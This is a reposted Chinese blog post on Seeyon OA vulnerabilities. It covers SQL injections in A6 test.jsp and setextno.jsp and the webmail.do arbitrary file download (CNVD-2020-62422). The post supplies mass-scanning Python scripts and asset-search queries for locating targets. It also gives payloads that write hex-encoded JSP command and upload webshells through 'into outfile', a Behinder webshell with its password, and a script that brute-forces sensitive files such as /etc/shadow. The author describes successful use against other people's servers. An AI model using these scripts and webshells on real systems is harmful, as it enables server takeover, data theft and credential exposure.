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致远OA SQL&任意文件下载漏洞(含批量检测POC)

文章目录

SQL注入

A6 test.jsp SQL注入漏洞

致远OA A6 test.jsp 存在sql注入漏洞,并可以通过注入写入webshell文件控制服务器

漏洞影响

致远OA A6

网络测绘

app=“致远OA6”

批量检测POC

# -*- coding: utf-8 -*-'''
@Time    : 2023-03-19 22:23
@Author  : whgojp
@File    : POC.py

'''import requests
import threading

defcheck_basedir(url, index, total):
    target_url = url +"/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20@@basedir)"#查看数据库库安装目录try:
        response = requests.get(target_url)if response.status_code ==200:withopen("result.txt","a")as f:print(f"[{index}/{total}] {url}")
                f.write(url +"\n")except:passwithopen("urls.txt","r")as f:
    urls = f.read().splitlines()

total =len(urls)
threads =[]for i, url inenumerate(urls):
    t = threading.Thread(target=check_basedir, args=(url, i+1, total))
    t.start()
    threads.append(t)for t in threads:
    t.join()

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在这里插入图片描述
当然扫描结果可能不是特别准确,可能因素是网络测绘工具根据语法收集的ip有出入,或者有waf检测到恶意流量跳转到防护页面等,状态码也是200。以后检测漏洞应该使用正则表达式检测是含有页面关键词
通过信息收集,查出web根目录D:/UFseeyon/OA/tomcat/webapps/yyoa,通过 into outfile 写入文件,这里因为 jsp木马存在特殊符号,使用 hex编码 上传允许文件上传的jsp文件
常规上传:

<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>

HEX编码

3C25696628726571756573742E676574506172616D657465722822662229213D6E756C6C29286E6577206A6176612E696F2E46696C654F757470757453747265616D286170706C69636174696F6E2E6765745265616C5061746828225C5C22292B726571756573742E676574506172616D65746572282266222929292E777269746528726571756573742E676574506172616D6574657228227422292E67657442797465732829293B253E

payload
写入文件上传网马

/yyoa/common/js/menu/test.jsp?doType=101&S1=select%20unhex('3c25206966282230222e657175616c7328726571756573742e676574506172616d657465722822707764222929297b206a6176612e696f2e496e70757453747265616d20696e203d2052756e74696d652e67657452756e74696d6528292e6578656328726571756573742e676574506172616d657465722822692229292e676574496e70757453747265616d28293b20696e742061203d202d313b20627974655b5d2062203d206e657720627974655b323034385d3b206f75742e7072696e7428223c7072653e22293b207768696c652828613d696e2e7265616428622929213d2d31297b206f75742e7072696e746c6e286e657720537472696e67286229293b207d206f75742e7072696e7428223c2f7072653e22293b207d20253e')%20%20into%20outfile%20'webpath+0.jsp'

在这里插入图片描述
显示上图则上传成功,访问 0.jsp 为空白不报错页面不存在就是上传成功

这里我上传成功了,但是访问0.jsp出现报错页面,应该是对方做了相关防护
换个目标,下图显示就是成功上传

上传冰蝎
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t=%3C%25%40page%20import%3D%22java.util.*%2Cjavax.crypto.*%2Cjavax.crypto.spec.*%22%25%3E%3C%25!class%20U%20extends%20ClassLoader%7BU(ClassLoader%20c)%7Bsuper(c)%3B%7Dpublic%20Class%20g(byte%20%5B%5Db)%7Breturn%20super.defineClass(b%2C0%2Cb.length)%3B%7D%7D%25%3E%3C%25if%20(request.getMethod().equals(%22POST%22))%7BString%20k%3D%22e45e329feb5d925b%22%3Bsession.putValue(%22u%22%2Ck)%3BCipher%20c%3DCipher.getInstance(%22AES%22)%3Bc.init(2%2Cnew%20SecretKeySpec(k.getBytes()%2C%22AES%22))%3Bnew%20U(this.getClass().getClassLoader()).g(c.doFinal(new%20sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext)%3B%7D%25%3E

连接密码rebeyond 直接冰蝎连接
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java webshell直接system权限、无需提权
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批量写马脚本就不贴上去了

A6 setextno.jsp SQL注入漏洞

网络测绘

title=“致远A8+协同管理软件.A6”

payload

/yyoa/ext/trafaxserver/ExtnoManage/setextno.jsp?user_ids=(99999) union all select1,2,(md5(1)),4#

批量检测POC

import concurrent.futures
import requests

defcheck_vuln(url, index):
    target_url =f"{url}/yyoa/ext/trafaxserver/ExtnoManage/setextno.jsp?user_ids=(99999) union all select 1,2,(md5(1)),4#"try:
        response = requests.get(target_url)if"c4ca4238a0b923820dcc509a6f75849b"in response.text:print(f"[+] {url} is vulnerable")withopen('result.txt','a')as f:
                f.write(f"{url} is vulnerable\n")else:pass# print(f"[-] {url} is not vulnerable")except requests.exceptions.RequestException as e:pass# print(f"[!] Exception occurred while checking {url}: {e}")print(f"[{index+1}/{len(urls)}] {url} checked")withopen('urls.txt','r')as f:
    urls = f.read().splitlines()with concurrent.futures.ThreadPoolExecutor()as executor:
    futures =[]for i, url inenumerate(urls):ifnot url.startswith('http'):
            url ='http://'+ url
        futures.append(executor.submit(check_vuln, url, i))# 等待所有任务执行完毕for future in concurrent.futures.as_completed(futures):pass

同是sql注入 利用方式同上 写入冰蝎
上传文件上传网马:

http://xxx.xxx.xxx/yyoa/ext/trafaxserver/ExtnoManage/setextno.jsp?user_ids=(99999) union all select1,2,(select unhex('3C25696628726571756573742E676574506172616D657465722822662229213D6E756C6C29286E6577206A6176612E696F2E46696C654F757470757453747265616D286170706C69636174696F6E2E6765745265616C5061746828225C22292B726571756573742E676574506172616D65746572282266222929292E777269746528726571756573742E676574506172616D6574657228227422292E67657442797465732829293B253E')  into outfile 'D:/Program Files/UFseeyon/OA/tomcat/webapps/yyoa/test_upload.jsp'),4#

其他操作同上
直接连接就行了

任意文件下载(读取)

webmail.do 任意文件下载 CNVD-2020-62422

影响版本

致远OA A6-V5
致远OA A8-V5
致远OA G6

payload

致远OA webmail.do文件读取漏洞,由于/seeyon/webmail.do 页面 filePath 参数过滤不严,导致可以读取系统敏感文件。
通过修改filePath参数来下载服务器文件

http://www.xxx.com/seeyon/webmail.do?method=doDownloadAtt&filename=test.txt&filePath=../conf/datasourceCtp.properties

在漏洞的OA 系统将会下载 datasourceCtp.properties 配置文件

网络测绘

app=“致远互联-OA”

批量检测POC

读取同目录下urls.txt 多线程扫描将结果输出到result.txt并且显示扫描进程

# -*- coding: utf-8 -*-'''
@Time    : 2023-03-19 18:33
@Author  : whgojp
@File    : CNVD-2020-62422.py

'''import requests
import sys
import threading
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from concurrent.futures import ThreadPoolExecutor, as_completed

defPOC_1(target_url):if'https'notin target_url:
        target_url ='http://'+target_url
    vuln_url = target_url +"/seeyon/webmail.do?method=doDownloadAtt&filename=PeiQi.txt&filePath=../conf/datasourceCtp.properties"
    headers ={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",}try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)if"workflow"in response.text:print("\033[32m[o] 目标{}存在漏洞 \033[0m".format(target_url))
            result.append(target_url +" 存在漏洞")else:print("\033[31m[x] 文件请求失败 \033[0m")except Exception as e:print("\033[31m[x] 请求失败 \033[0m", e)defmain():global result
    result =[]withopen('urls.txt','r')as f:
        urls = f.readlines()
    urls =[url.strip()for url in urls]
    total_num =len(urls)
    count =0with ThreadPoolExecutor(max_workers=10)as executor:
        futures =[executor.submit(POC_1, url)for url in urls]for future in as_completed(futures):
            count +=1print("[+] Progress: {}/{}".format(count, total_num))withopen('result.txt','w')as f:for r in result:
            f.write(r +'\n')print("[+] 扫描完成!")if __name__ =='__main__':
    main()

在这里插入图片描述
在这里插入图片描述
思考:可以读取那些文件?来进一步利用
尝试读取etc/passwd etc/shadow等敏感文件
linux_file.txt为收集的linu下敏感文件绝对路径的字典

# -*- coding: utf-8 -*-'''
@Time    : 2023-03-19 21:20
@Author  : whgojp
@File    : brute_filepath.py

'''import requests
import re

url_prefix ="http://xx.xx.xx:port/seeyon/webmail.do?method=doDownloadAtt&filename=text.txt&filePath=../../../../.."withopen('linux_file.txt','r')as f:for line in f:
        url = url_prefix + line.strip()# strip()用于移除行末的换行符
        response = requests.get(url)if response.status_code ==200:
            pattern = re.compile(r'[a-zA-Z]')if pattern.search(response.text):print(url)#print(response.test)    

思路:收集一些关于目标网站第三方程序绝对路径,比如说,现在我们知道该OA的版本以及CKEditor编辑器,那么就可以收集关于这些程序的敏感文件的绝对路径在这里插入图片描述
效果图:
在这里插入图片描述
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标签: sql 数据库 安全

本文转载自: https://blog.csdn.net/weixin_53009585/article/details/129688344
版权归原作者 今天是 几 号 所有, 如有侵权,请联系我们删除。

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